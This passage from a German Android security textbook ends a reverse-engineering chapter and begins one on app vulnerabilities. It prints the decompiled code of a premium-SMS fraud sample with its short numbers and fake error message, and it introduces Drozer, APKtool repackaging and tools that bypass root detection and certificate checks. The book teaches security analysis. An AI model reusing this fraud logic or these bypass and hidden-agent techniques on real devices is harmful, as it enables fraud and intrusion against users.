geschafft, den Java-Quellcode der Main-Activity unserer malware.apk zu erhalten
und zusätzlich auch Informationen über Berechtigungen, die wirklich von der Applikation
benötigt werden. Dies zeigt schon erste Hinweise darauf, wie mächtig
Androguard ist.
3.4.7 Codeinspect
Codeinspect8 [13] ist eines der umfangreichsten Werkzeuge, die man zum Analysieren
von Android-Applikationen verwenden kann. Mit Codeinspect ist es dem
Analysten möglich, direkt eine apk-Datei zu importieren und sie in eine gut lesbare
Sprache zu übersetzen. Hierfür verwendet das Werkzeug eine Art Zwischendarstellungssprache,
die sich Jimple – Java but simple – nennt. Diese wird zusammen
mit dem Soot-Framework9 im Hintergrund verwendet, um die Übersetzung
des Dalvik-Bytecodes vorzunehmen. Das Soot-Framework wie auch Jimple sind
seit vielen Jahren unter aktiver Entwicklung und haben sich im Bereich der Analyse
von Java- und Dalvik-Bytecode bewährt.
Abbildung 3–6 zeigt unsere importierte malware.apk und die Grundstruktur
von Codeinspect. Wie man am Aufbau gut erkennen kann, beruht Codeinspect
auf der Eclipse IDE und zeigt folgende Fenster an:
Project Explorer: Hier werden alle Bestandteile der importieren Android-Applikation
strukturiert aufgelistet.
Outline: Dieses Fenster zeigt alle Methoden und Variablen einer gegebenen Klasse
an. Durch Anklicken der hier angezeigten Elemente kann der Analyst direkt
zu den referenzierten Stellen im Quellcode springen.
Console: Zeigt die Konsole an, wie man sie auch von Eclipse kennt. Diese Ausgabe
wird im weiteren Verlauf des Buches noch wichtig.
Problems: Hier werden alle Fehlermeldungen angezeigt, die während der Laufzeit
der Applikation auftreten.
8 Codeinspect: http://sseblog.ec-spride.de/2014/12/codeinspect/
9 Soot-Framework: https://github.com/Sable/soot/wiki

60 3 Reversing von Android-Applikationen
Permission Usage: Dieses Fenster zeigt, welche Berechtigungen die Applikation
wirklich verwendet und an welchen Stellen im Quellcode sie benötigt werden.
Auto Stepper: Codeinspect ist nicht nur in der Lage, statische Analysen durchzuführen,
man kann das Werkzeug auch verwenden, um Applikationen zur
Laufzeit zu analysieren. Hierfür kann man den Auto Stepper verwenden, der
automatisch Breakpoints setzt, um so Stück für Stück durch die Applikation
zu springen.
Codeinspect bietet neben den Fähigkeiten des Reversings und Debuggings auch
die klassischen Funktionen einer IDE. Man kann hier Variablen oder ganze Klassen
umbenennen (dies ist besonders sinnvoll bei großen Applikationen, deren
Code verschleiert ist), in dekompiliertem Code suchen oder eben auch die Hierarchie
der Funktionsaufrufe anzeigen lassen. Dies sind Funktionen, die sehr hilfreich
sein können, um eine Applikation – oder eine Klasse/Methode innerhalb
einer Applikation – besser verstehen zu können.
Abb. 3–6: Codeinspect-Ansicht der zu analysierenden Android-Applikation
Eines der wichtigsten Bestandteile von Codeinspect (im Bereich des statischen
Reversings) stellt das Fenster in der Mitte dar (siehe Abbildung 3–6). Hier wird
der übersetzte Quellcode der ausgewählten Klasse in Jimple angezeigt. Vergleicht
man die Darstellung des dekompilierten Java-Codes aus dem Codebeispiel 3–12
mit der im nachfolgend abgebildeten Codebeispiel 3–19, so erkennt man sehr gut
die Ähnlichkeit zwischen Jimple und Java. Seit Kurzem gibt es auch die Möglichkeit,
sich den Code der Applikation als Java-Code anzeigen zu lassen (Project
Explorer → build/classfiles). Dieses Feature ist jedoch zum aktuellen Zeitpunkt
noch in der Entwicklung und man sollte die Ergebnisse daher noch mit Vorsicht

3.4 Werkzeuge zum Analysieren der Applikationen 61
betrachten. Deshalb lautet momentan noch die Empfehlung, bei der Jimple- bzw.
Jimple++-Ansicht zu bleiben.
public void onCreate(android.os.Bundle $param0)
{
android.widget.Toast $Toast;
android.telephony.TelephonyManager $TelephonyManager;
android.telephony.SmsManager $SmsManager;
java.lang.Object $Object;
java.lang.String $String, $String_1;
boolean $z0;
specialinvoke this.($param0);
$Toast = staticinvoke (
this, "ERROR: Android version is not compatible", 1);
virtualinvoke $Toast.();
$Object = virtualinvoke this.("phone");
$TelephonyManager = (android.telephony.TelephonyManager) $Object;
$String = virtualinvoke $TelephonyManager.();
$z0 = virtualinvoke $String.("fr");
if $z0 == false goto label0;
$String = "81001";
$String_1 = "STAR";
label2:
$SmsManager = staticinvoke ();
virtualinvoke $SmsManager.($String, null, $String_1, null, null);
virtualinvoke $SmsManager.($String, null, $String_1, null, null);

62 3 Reversing von Android-Applikationen
virtualinvoke $SmsManager.($String, null, $String_1, null, null);
virtualinvoke $SmsManager.($String, null, $String_1, null, null);
return;
label0:
$z0 = virtualinvoke $String.("be");
if $z0 == false goto label1;
$String = "9903";
$String_1 = "GA SP";
goto label2;
label1:
$z0 = virtualinvoke $String.("ch");
if $z0 == false goto label3;
$String = "543";
$String_1 = "GEHEN SP 300";
goto label2;
label3:
$z0 = virtualinvoke $String.("lu");
if $z0 == false goto label4;
$String = "64747";
$String_1 = "ACCESS SP";
goto label2;
label4:
$z0 = virtualinvoke $String.("ca");
if $z0 == false goto label5;
$String = "SP";
$String_1 = "60999";
goto label2;

3.4 Werkzeuge zum Analysieren der Applikationen 63
label5:
$z0 = virtualinvoke $String.("de");
if $z0 == false goto label6;
$String = "63000";
$String_1 = "SP 462";
goto label2;
label6:
$z0 = virtualinvoke $String.("es");
if $z0 == false goto label7;
$String = "35064";
$String_1 = "GOLD";
goto label2;
label7:
$z0 = virtualinvoke $String.("gb");
if $z0 == false goto label8;
$String = "60999";
$String_1 = "SP2";
goto label2;
label8:
$String = "00000";
$String_1 = "WUUT";
goto label2;
}
Codebeispiel 3–19: Quellcode der Main-Activity der fragwürdigen Android-Applikation in
Jimple
Neben diesen Funktionen bietet Codeinspect inzwischen auch die Möglichkeit,
den Fluss von Informationen, wie z. B. Daten aus dem lokalen Adressbuch oder
zusammengesetzte Strings, über die komplette Ausführung der Applikation hinweg
zu verfolgen. Mit diesem Verfahren lässt sich herausfinden, was mit diesen
Daten passiert, um so besser zu verstehen, wie eine Applikation funktioniert.
Abbildung 3–7 zeigt dies am Beispiel einer Malware, die SMS-Nachrichten versendet
[1].
Wie man Codeinspect auch zur Laufzeitanalyse und -manipulation von Android-Applikationen
verwendet, wird ausführlich in Abschnitt 4.8 gezeigt. Dabei
wird auch auf die Funktionen des Debuggers eingegangen.

64 3 Reversing von Android-Applikationen
Abb. 3–7: FlowDroid-Ansicht innerhalb von Codeinspect
3.5 Zusammenfassung
In diesem Kapitel haben wir versucht, die Chancen, aber auch die Grenzen von
Reversing bzw. statischer Analyse aufzuzeigen. Es sollte nun jedem Analysten
klar sein, dass man nicht ohne diese Fähigkeiten auskommt, dass Reversing jedoch
auch nicht die Lösung aller Probleme ist, da man die hierfür verwendeten
Tools und Techniken als Entwickler und vor allem als Autor bösartiger, oder zumindest
fragwürdiger Applikationen in ihrer Funktion deutlich einschränken und
teilweise sogar verhindern kann.
In Abschnitt 3.1 haben wir einen kurzen Workflow dargestellt, wie man bei
der statischen Analyse als Sicherheitsanalyst vorgehen kann, um an eine leicht
verständliche Repräsentation des Dalvik-Bytecodes zu gelangen.
Danach haben wir gängige Werkzeuge kennengelernt, mit denen man eine
Applikation analysieren kann, ohne sie selbst ausführen zu müssen: adb, aapt,
dex2jar, enjarify, baksmali, JD-GUI, JADx-GUI, Androguard und Codeinspect.
Um die einzelnen Vor- und Nachteile und die Funktionsweise der Tools zu
erklären, haben wir unsere malware.apk (eine schadhafte Android-Applikation)
mit ihnen analysiert und die Unterschiede dargestellt. Hierbei sieht man auch die
deutlichen Unterschiede in den Übersetzungen des Dalvik-Bytecodes: Java, smali
und Jimple.
Betrachtet man die Ergebnisse der in diesem Kapitel durchgeführten statischen
Analysen, so sieht man, dass unsere bösartige Android-Applikation direkt
nach ihrem Start vier Premium-SMS-Nachrichten versendet und dem Nutzer eine
Fehlermeldung anzeigt, die ihm vorgaukelt, dass sein Smartphone die falsche
Android-Version installiert hätte und deshalb die Applikation nicht lauffähig

3.5 Zusammenfassung 65
sei. Gleichzeitig versucht sie aber, eingehende SMS-Nachrichten der Premium-
Anbieter zu verstecken, damit der Nutzer nicht mitbekommt, welche Aktionen
die Applikation im Hintergrund wirklich durchgeführt hat. Dieses Vorgehen ist
ganz typisch für die erste Generation an Android-Malware und war in den Jahren
2011 bis 2013 eine der am häufigsten vorkommenden Funktionen von schadhaften
Applikationen. Inzwischen hat sich das Verhalten der Malware weiterentwickelt
und man sieht erste gezielte Angriffe, bei denen die Applikationen sehr
genau an die Opfer angepasst sind. Des Weiteren erkennt man deutlich, dass die
Malware in den letzten Jahren versucht, Daten von den infizierten Geräten zu erbeuten
oder sie aus der Ferne zu steuern. Dabei wird immer häufiger Obfuscation
eingesetzt, um es einem Analysten zu erschweren, den Code und die Funktionen
zu erkennen.

67
4 Sicherheitsprobleme bei
Android-Applikationen
Betrachtet man die große Anzahl an mobilen Applikationen und Einsatzszenarien
für Android und die Vielzahl der Entwickler und der verfügbaren Entwicklungsumgebungen
(IDE), so kann man sich gut vorstellen, dass nicht jeder Entwickler
wirklich alles richtig macht beim Entwickeln von Lösungen für diese Plattform.
Selbst wenn man sich als Entwickler an Vorgaben zum Programmieren sicheren
Codes hält, ist es immer noch sehr schwer, eine komplett fehlerfreie Applikation
zu entwerfen. Zudem ist ein hohes Maß an Wissen nötig, um diesem Ziel auch
nur ansatzweise nahe zu kommen. Da all diese Voraussetzungen nur selten erfüllt
sind, ist es wichtig für uns als Sicherheitsanalysten – aber auch für Angreifer – zu
wissen, wo eventuelle Schwachstellen versteckt sind und wie sie sich finden und
ausnutzen lassen.
Aus diesem Grund wird in diesem Kapitel auf wichtige Werkzeuge, aber auch
auf die häufigsten Schwachstellen eingegangen. Dazu ist dieses Kapitel in fünf
logische Teilgebiete unterteilt:
1. Wichtige Werkzeuge zur Analyse (Abschnitt 4.1)
2. Zugriffe auf personenbezogene Daten (Abschnitt 4.2)
3. Schwachstellen im Code einer Applikation (Abschnitte 4.4 bis 4.6)
4. Digitale Forensik (Abschnitt 4.7)
5. Manipulation von Applikationen zur Laufzeit (Abschnitt 4.8)
4.1 Wichtige Tools und Helfer
Bevor wir mit den Techniken und Problemen bei Android-Applikationen beginnen,
soll hier noch kurz auf ein paar sehr wichtige Tools eingegangen werden,
die bei der Analyse hilfreich sind und im weiteren Verlauf des Kapitels immer
wieder auftauchen werden. Zu diesen Tools gehören BusyBox, Drozer und der
PackageManager.

68 4 Sicherheitsprobleme bei Android-Applikationen
4.1.1 BusyBox
Wer häufig mit Linux oder Mac OS X arbeitet, weiß die Kommandozeile und
die vielen mächtigen Tools, die in ihr verfügbar sind, zu schätzen. Wechselt man
das erste Mal auf die Android-Shell, so merkt man sehr schnell, welche Tools
einem fehlen und wie umständlich es ohne diese kleinen Helfer ist. Für diesen
Zweck gibt es ein einzelnes Binary, das eine Vielzahl dieser Kommandozeilentools
beinhaltet: BusyBox
BusyBox kann man über mehrere Wege auf das Gerät seiner Wahl aufbringen.
Die zwei Methoden, die am weitesten verbreitet sind, sind das Installieren
der BusyBox-Applikation1 aus dem offiziellen Google Play Store und das manuelle
Kopieren eines vorkompilierten Binaries2 . Beide Varianten habe eigene Vorund
Nachteile und damit auch unterschiedliche Einsatzszenarien. Möchte man
die Kommandozeilentools auf dem gesamten Gerät verfügbar haben – egal welcher
Nutzer oder Prozess man gerade ist –, so ist der Weg über die Applikation die
beste Wahl. Der Nachteil ist jedoch auch, dass das Gerät hierfür bereits gerootet
sein muss, da die entsprechenden Binaries und Verlinkungen in die Systempartition
kopiert werden. Möchte man relativ unbemerkt im eigenen Kontext auf
BusyBox und ihre Tools zugreifen, so ist das manuelle Kopieren des Binaries die
bessere Alternative, da man hier keine Root-Rechte benötigt. Nachteil ist hier
jedoch, dass man alle Befehle nur im eigenen Benutzerkontext ausführen darf.
Eine Übersicht aller Kommandozeilentools, die in BusyBox enthalten sind, ist
in Codebeispiel 4–1 aufgezählt.
acpid, adjtimex, arp, arping, ash, awk, base64, basename, beep, blkid,
blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, catv, chat, chattr,
chgrp, chmod, chown, chpst, chroot, chrt, chvt, cksum, clear, cmp, comm,
conspy, cp, cpio, crond, crontab, cttyhack, cut, date, dc, dd,
deallocvt, depmod, devmem, df, dhcprelay, diff, dirname, dmesg, dnsd,
dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, ed, egrep,
eject, env, envdir, envuidgid, ether-wake, expand, expr, fakeidentd,
false, fatattr, fbset, fbsplash, fdflush, fdformat, fdisk, fgconsole,
fgrep, find, findfs, flock, fold, free, freeramdisk, fsck, fsck.minix,
fstrim, fsync, ftpd, ftpget, ftpput, fuser, getopt, grep, groups,
gunzip, gzip, hd, hdparm, head, hexdump, hostid, hostname, httpd, hush,
hwclock, i2cdetect, i2cdump, i2cget, i2cset, id, ifconfig, ifdown,
ifenslave, ifplugd, ifup, inetd, init, insmod, install, ionice, iostat,
ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, iproute, iprule, iptunnel,
kbd_mode, kill, killall, killall5, klogd, last, less, linux32, linux64,
linuxrc, ln, loadfont, loadkmap, logger, logname, logread, losetup, ls,
lsattr, lsmod, lsof, lspci, lsusb, lzop, lzopcat, makedevs, man, md5sum,
1 BusyBox App: https://play.google.com/store/apps/details?id=stericson.busybox
2 BusyBox Binaries: https://busybox.net/downloads/binaries/

4.1 Wichtige Tools und Helfer 69
mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2,
mkfs.minix, mkfs.vfat, mknod, mkswap, mktemp, modinfo, modprobe, more,
mount, mountpoint, mpstat, mt, mv, nameif, nanddump, nandwrite,
nbd-client, nc, netstat, nice, nmeter, nohup, nslookup, ntpd, od,
openvt, patch, pgrep, pidof, ping, ping6, pipe_progress, pivot_root,
pkill, pmap, powertop, printenv, printf, ps, pscan, pstree, pwd, pwdx,
raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath,
renice, reset, resize, rev, rm, rmdir, rmmod, route, rpm, rpm2cpio,
rtcwake, run-parts, runlevel, runsv, runsvdir, rx, script, scriptreplay,
sed, seq, setarch, setconsole, setfont, setkeycodes, setlogcons,
setserial, setsid, setuidgid, sha1sum, sha256sum, sha3sum, sha512sum,
showkey, shuf, slattach, sleep, smemcap, softlimit, sort, split,
start-stop-daemon, stat, strings, stty, sum, sv, svlogd, swapoff,
swapon, switch_root, sysctl, syslogd,tac, tail, tar, tcpsvd, tee,
telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,
traceroute, traceroute6, true, truncate, tty, ttysize, tunctl,
ubiattach, ubidetach, ubimkvol, ubirmvol, ubirsvol, ubiupdatevol,
udhcpc, udhcpd, udpsvd, uevent, umount, uname, unexpand, uniq, unix2dos,
unlink, unlzop, unxz, unzip, uptime, users, usleep, uudecode, uuencode,
vconfig, vi, volname, wall, watch, watchdog, wc, wget, which, who,
whoami, whois, xargs, xz, xzcat, yes, zcat, zcip
Codebeispiel 4–1: In BusyBox gebündelte Kommandozeilentools
4.1.2 Drozer
Ein sehr mächtiges Werkzeug beim Assessment von Android-Applikationen ist
Drozer3. Dieses Werkzeug wurde bereits 2012 auf der damaligen BlackHat-
Konferenz von den MWR Labs vorgestellt und ist seitdem aus den Penetrationstests
mobiler Android-Applikationen nicht mehr wegzudenken. Dabei bietet
Drozer im Wesentlichen zwei verschiedene Modi, in denen es seine Stärken zeigt:
1. Aufspüren von Schwachstellen in Applikationen und
2. Bereitstellen von Exploits, um diese Schwachstellen automatisiert auszunutzen.
Drozer selbst gibt es in einer Open-Source-Variante (die wir im weiteren Verlauf
verwenden werden) sowie einer kommerziellen Version, die deutlich mehr Funktionen
und eine übersichtliche GUI bietet, dabei jedoch die eigentliche Funktionsweise
vor dem Nutzer versteckt und deshalb für die Zwecke dieses Buches eher
nicht geeignet ist. Die freie Version von Drozer besteht aus den folgenden drei
wesentlichen Komponenten:
3 Drozer: https://www.mwrinfosecurity.com/products/drozer/

70 4 Sicherheitsprobleme bei Android-Applikationen
Agent: Das eigentliche Herzstück des ganzen Systems. Der Agent ist eine kleine
Android-Applikation, die direkt auf dem zu analysierenden Smartphone installiert
ist. Dieser Agent kann entweder als herkömmliche Applikation mitsamt
einer grafischen Oberfläche ausgerollt werden oder als Remote Administration
Tool (RAT) – z. B. versteckt in einer anderen legitimen Applikation –,
um Geräte unbemerkt zu infizieren und fernzusteuern.
Server: Eine zentrale Instanz, von der aus man mehrere Agenten bedienen kann
und die zugleich als Meldepunkt für ferngesteuerte Agenten verwendet werden
kann (zum Umgehen von NAT oder Firewalls).
Console: Eine Kommandozeile, die auf dem lokalen Rechner läuft und mit den
Agenten kommuniziert.
Um Drozer auf unserem Analyserechner zu installieren, reicht es aus, das passende
Paket von der Herstellerwebseite herunterzuladen und auf dem lokalen
System zu entpacken. Nach erfolgreichem Entpacken sollten mehrere Dateien zu
sehen sein. Die beiden wichtigsten hierbei sind die agent.apk und drozer-2.3.4-
py2.7.egg (je nach Version von Drozer kann diese Datei einen anderen Namen
haben). Damit das Werkzeug ordentlich funktioniert, benötigen wir noch folgende
zusätzliche Pakete bzw. Einstellungen:
■ Python 2.7
■ JDK 1.6 (oder neuer)
■ Android-SDK
■ adb in der PATH-Variablen
■ java in der PATH-Variablen
Ist dies alles erfüllt, so können wir Drozer einfach installieren, indem wir folgenden
Befehl eingeben: easy_install ./drozer-2.3.4-py2.7.egg. Dies installiert
uns Drozer und alle nötigen Python-Pakete. Im Anschluss müssen wir nun noch
den Agenten auf unser Testgerät installieren, mit dem wir später unsere Applikationen
untersuchen möchten. Dies können wir durch einfaches Installieren der
beigelegten Android-Applikation per adb install agent.pak.
Damit haben wir bereits alle Vorkehrungen erfüllt und können mit der Analyse
des Testgerätes oder darauf installierter Applikationen beginnen. Dazu verbinden
wir uns nun per Console mit dem Agenten auf dem Testgerät. Damit dies
funktioniert, müssen wir zuvor noch den TCP-Port über die USB-Schnittstelle
umleiten, auf dem der im Agenten integrierte Server auf unsere Befehle wartet.
Dies geschieht mit folgendem Befehl:
$: adb forward tcp:31415 tcp:31415
Codebeispiel 4–2: Port-Umleitung für Drozer

4.1 Wichtige Tools und Helfer 71
Im Anschluss öffnen wir die Drozer-Applikation auf unserem Testgerät und starten
dort den Server (siehe dazu Abbildung 4–1 auf Seite 72). Nachdem nun die
Port-Umleitung aktiv ist, das Gerät per USB mit unserem Analyserechner verbunden
ist und der Agent auf unsere Verbindung wartet, können wir die lokale
Console auffordern, sich mit dem Agenten zu verbinden. Dies geschieht per:
$: drozer console connect
Codebeispiel 4–3: Aufbauen der Verbindung zum Drozer-Agenten
Hat die Console eine erfolgreiche Verbindung zum Agenten aufgebaut, bekommen
wir einen Kopf eines Androids zu sehen und die bekannte Drozer-Shell (siehe
Codebeispiel 4–4).
Selecting eecba ******* d8f8 ( LGE Nexus 5 4.4.4)
.. ..:.
..o..
.r..
..a.. . ....... . .. nd
ro .. idsnemesisand .. pr
. otectorandroidsneme .
., sisandprotectorandroids +.
.. nemesisandprotectorandroidsn :.
. emesisandprotectorandroidsnemes ..
.. isandp ,.. , rotectorandro ,.. , idsnem .
. isisandp .. rotectorandroid .. snemisis .
, andprotectorandroidsnemisisandprotec .
. torandroidsnemesisandprotectorandroid .
. snemisisandprotectorandroidsnemesisan :
. dprotectorandroidsnemesisandprotector .
drozer Console (v2 .3.4)
dz >
Codebeispiel 4–4: Erfolgreiche Verbindung zum Drozer-Agenten
Mit der nun vorhandenen Drozer-Shell lassen sich Module ausführen, die Teil
von Drozer sind. Um zu sehen, welche Module aktuell installiert sind, können
wir den Befehl list innerhalb der Drozer-Shell benutzen. Möchten wir die Suche
nach Modulen weiter eingrenzen, können wir noch weitere Argumente übergeben
(wie z. B. information).

72 4 Sicherheitsprobleme bei Android-Applikationen
Abb. 4–1: Starten des in Drozer eingebetteten Servers
dz> list information
information.datetime Print Date/Time
information.deviceinfo Get verbose device information
information.permissions Get a list of all permissions used by packages on the
device
Codebeispiel 4–5: Ausgabe der Drozer-Module zum Argument information
Drozer besitzt jedoch nicht nur die Module, die mittels list angezeigt werden,
sondern noch eine Vielzahl weiterer Module, die teilweise auch von externen Penetrationstestern
oder Sicherheitsforschern erstellt wurden. Um einen Überblick
über diese Module zu bekommen, reicht es, den folgenden Befehl einzugeben:
dz> module search -d
......
curesec.CVE-2013-6271
This plugin abuses a bug which allows a malicious app/user to use the com
.android.phone without the necessary permissions.
......
metall0id.tools.setup.nmap

4.1 Wichtige Tools und Helfer 73
Installs Nmap on the Agent. Nmap ("Network Mapper") is a free and open
source (license) utility for network discovery and security auditing.
mwrlabs.secure_random
Finds applications that make use of java.security.SecureRandom as a
source of random numbers. It was identified that on some versions of
Android the SecureRandom random number generator did not correctly
seed the underlying PRNG, which could cause predictable sequences of
numbers to be generated.
......
Codebeispiel 4–6: Ausgabe der manuell installierbaren Drozer-Module
Durch ein module install können diese Module direkt nachinstalliert
werden und stehen dann umgehend zur Verfügung. Um schneller einen Überblick
darüber zu bekommen, welchen Zweck ein gewisses Modul verfolgt, gibt es
eine Namenskonvention für Drozer-Module, die in Tabelle 4–1 abgebildet ist.
Namenskonvention
app.activity
app.broadcast
app.package
app.provider
app.services
auxiliary
exploit
information
scanner
shell
tools.file
tools.setup
Beschreibung
Suche nach bzw. Interaktion mit exportierten Activities
Suche nach bzw. Interaktion mit exportierten Broadcast-Receivern
Suche nach installierten Paketen oder Applikationen inkl. Anzeigen
von Details
Suche nach bzw. Interaktion mit exportierten Content Providern
Suche nach bzw. Interaktion mit exportierten Services
Externe Tools, die zu Drozer portiert wurden
Root- sowie Applikations-Exploits
Auslesen von Informationen und Einstellungen aus dem Endgerät
oder der dort verwendeten Konfiguration
Automatisierte Scanner, die nach bekannten Schwachstellen in
Applikationen suchen
Kommandozeilentools
Werkzeuge, die eine direkte Interaktion mit Dateien zulassen
Upload weiterer externer Tools in die Drozer-Laufzeitumgebung
Tab. 4–1: Liste der Namenskonventionen für Drozer-Module [4]

74 4 Sicherheitsprobleme bei Android-Applikationen
Im weiteren Verlauf dieses Kapitels werden wir immer wieder mit Drozer in Kontakt
kommen und zeigen, wie mächtig dieses Werkzeug ist.
4.1.3 Android PackageManager
Der PackageManager ist Teil eines jeden Android-Systems und dessen Kommandozeile.
Mit diesem Tool kann man Informationen über installierte Pakete/Applikationen
auslesen oder weitere Applikationen installieren. Die für uns wichtigsten
Befehlsaufrufe sind die folgenden:
■
■
■
■
■
adb shell pm list packages – Auflistung aller installierter Pakete und Applikationen
adb shell pm path – Suche der apk-Datei einer installierten Applikation
adb shell pm install – Installation einer Applikation
adb shell pm uninstall – Deinstallation einer Applikation
adb shell pm disable – Deaktivieren einer Applikation
4.1.4 APKtool
Das APKtool4 ist ein weiteres Werkzeug, um Android-Applikationen zu analysieren.
Es erlaubt uns, eine apk-Datei zu dekompilieren, Änderungen an dem Code
der Applikation vorzunehmen und im Anschluss die Applikation wieder automatisiert
zusammenzubauen, sodass sie auf einem Gerät ausgeführt werden kann.
Ein solches Tool ist immer dann wichtig, wenn man gewisse Teile einer Applikation
verändern muss, damit sie auf dem Testgerät lauffähig sind. Klassische
Beispiele für ein solches Patching sind z. B. das Deaktivieren der Root-Erkennung
oder das Ändern von fest definierten Displayauflösungen, aber auch das Ändern
von fest definierten SSL-Zertifikaten, um die Verbindung abhören zu können.
Möchte man eine Android-Applikation mithilfe von APKtool dekompilieren,
so reicht es, den folgenden Befehl einzugeben:
$ ./apktool.sh d testapp.apk -o out
I: Using Apktool 2.0.2 on testapp.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/mspreitz/Library/apktool/
framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
4 APKtool: http://ibotpeaches.github.io/Apktool/

4.1 Wichtige Tools und Helfer 75
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Codebeispiel 4–7: Dekompilieren einer Android-Applikation mittels APKtool
In diesem Beispiel erhalten wir nun einen neuen Ordner namens out, der alle Dateien
der ursprünglichen Applikation beinhaltet und den Dalvik-Bytecode bereits
in das zuvor schon erwähnte smali übersetzt hat. Diese Dateien können wir nun
eigenen Vorstellungen anpassen und im Anschluss wieder in eine funktionierende
Android-Applikation umwandeln. Letzteres geschieht mithilfe des folgenden
Befehls:
$ ./apktool.sh b out/ testapp2.apk
I: Using Apktool 2.0.2
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
Codebeispiel 4–8: Kompilieren einer Android-Applikation mittels APKtool
4.1.5 Cydia Substrate
Cydia Substrate5 ist ein Tool, das die Manipulation zur Laufzeit von Applikationen
ermöglicht und aus der iOS-Welt sehr bekannt ist (mehr dazu auch in
Kapitel 6). Es bietet in der Grundversion keinerlei direkten Nutzen, sondern vielmehr
eine Umgebung, die es erlaubt, sich in laufende Applikationen einzuklinken
und deren Aufrufe zu hooken. Durch externe Module bietet es jedoch eine sehr
große Vielfalt an Funktionen und ist aus vielen Assessments nicht wegzudenken.
Ein paar der wichtigsten Erweiterungen für Cydia Substrate auf Android sind
u. a. die folgenden:
RootCloak: Ein Werkzeug, um gängige Root-Erkennung in Applikationen zur
Laufzeit zu deaktivieren bzw. der Applikation vorzugaukeln, dass das darunterliegende
Gerät in einem vertrauenswürdigen Zustand ist.
5 Cydia Substrate: http://www.cydiasubstrate.com/

76 4 Sicherheitsprobleme bei Android-Applikationen
SSL TrustKiller: Eine Erweiterung, die SSL-Zertifikats-Prüfungen manipuliert
(siehe dazu auch Abschnitt 9.2).
Introspy: Ein weiteres Modul, das in der Lage ist, eine Vielzahl von API-Aufrufen
der Applikation mitzuschneiden und an logcat zu senden. Mit diesem Modul
kann man Intents und deren Inhalt sowie Crypto-Operationen und Details –
wie z. B. Schlüssel und verwendete Algorithmen – mitschneiden.
Abb. 4–2: Cydia Substrate auf Android mit aktiviertem Hooking
4.2 Analyse der Zugriffe auf sensible Nutzerdaten
Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder
geschäftlichen Endgeräten ist es wichtig, dass man die Zugriffe auf sensible Nutzerdaten
untersucht. Es gibt immer wieder Applikationen, die in den Medien genannt
werden, weil sie das Adressbuch der Nutzer auf ihren Servern speichern
oder persönliche Daten von den Smartphones der Nutzer abziehen. Im Folgenden
zeigen wir, welche Berechtigungen man hierfür im Auge behalten sollte und
wie man nach den entsprechenden Zeilen im Code der Applikation suchen kann,
um einen Überblick zu bekommen, was die Applikation mit den so erhaltenen
Daten durchführt.
Die in Tabelle 4–2 abgebildeten Berechtigungen (engl. Permissions) und die
zugehörigen Gruppen (die ab Android 5.0 dem Nutzer angezeigt werden) zählen
zu den Berechtigungen, die man als Entwickler nur mit Sorgfalt verwenden sollte
und die bei uns als Analysten eine wichtige Rolle spielen. Dies beruht hauptsächlich
auf der Tatsache, dass die damit verbundenen personenbezogenen Daten im
Bereich Datenschutz (Bundesdatenschutzgesetz [5]) eine essenzielle Rolle spielen.

4.2 Analyse der Zugriffe auf sensible Nutzerdaten 77
Berechtigungsgruppe
CALENDAR
CAMERA
CONTACTS
LOCATION
MICROPHONE
PHONE
SENSORS
SMS
STORAGE
Berechtigung
READ_CALENDAR
WRITE_CALENDAR
CAMERA
READ_CONTACTS
WRITE_CONTACTS
GET_ACCOUNTS
ACCESS_FINE_LOCATION
ACCESS_COARSE_LOCATION
RECORD_AUDIO
READ_PHONE_STATE
CALL_PHONE
READ_CALL_LOG
WRITE_CALL_LOG
ADD_VOICEMAIL
USE_SIP
PROCESS_OUTGOING_CALLS
BODY_SENSORS
SEND_SMS
RECEIVE_SMS
READ_SMS
RECEIVE_WAP_PUSH
RECEIVE_MMS
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
Tab. 4–2: Liste der kritischen Berechtigungen und dazugehörigen Gruppen in Android
Um Applikationen zu finden, die diese Berechtigungen verwenden, reicht es schon
aus, das Android-Manifest zu betrachten und dort die entsprechenden xml-Tags
uses-permission zu finden (siehe Codebeispiel 4–9).

78 4 Sicherheitsprobleme bei Android-Applikationen
...
Codebeispiel 4–9: Auszug aus einem Android-Manifest, das die RECEIVE_SMS-Berechtigung
anfordert
Ebenso können wir aber auch Drozer verwenden, um nach installierten Applikationen
auf einem Endgerät zu suchen, die gewisse Berechtigungen bei der Installation
angefordert haben. Das folgende Codebeispiel zeigt dies anhand der
WRITE_CALENDAR-Berechtigung – also des Schreibzugriffs auf den lokalen
Kalender:
dz> run app.package.list -p android.permission.WRITE_CALENDAR
com.google.android.exchange (Exchange-Dienste)
com.android.providers.calendar (Kalenderspeicher)
com.google.android.email (E-Mail)
com.google.android.googlequicksearchbox (Google-Suche)
com.google.android.calendar (Kalender)
com.android.shell (Shell)
Codebeispiel 4–10: Suche nach Applikationen mit Schreibzugriff auf den Kalender mittels
Drozer
Haben wir nun Applikationen gefunden, die Zugriff auf personenbezogene Daten
verlangen, so besteht der nächste Schritt darin, dass wir die entsprechenden
Codezeilen suchen, die die entsprechenden Daten verarbeiten. Hierzu können wir
eine Liste von Berechtigungen und Zuordnungen zu Codeaufrufen von William
Enck6 verwenden.
Dazu dekompilieren wir – wie in Kapitel 3 gezeigt – die Applikation in die
smali-Sprache und führen mittels grep einfache Suchen über den gesamten Code
der Applikation aus. Dies liefert uns die genauen Abschnitte im Code, die für
eine bestimmte Berechtigung verantwortlich sind, um sie anschließend manuell
zu untersuchen und auf schadhaftes oder ungewolltes Verhalten zu prüfen.
Wir können das Ganze aber auch etwas komfortabler mithilfe von Codeinspect
gestalten. Dazu laden wir die apk-Datei wie in Abschnitt 3.4.7 gezeigt
in das Tool und klicken auf das kleine Fenster unten in der Mitte (Permission
Usage). Hier sehen wir nun sehr schön, welche Codezeilen für welche Berechti-
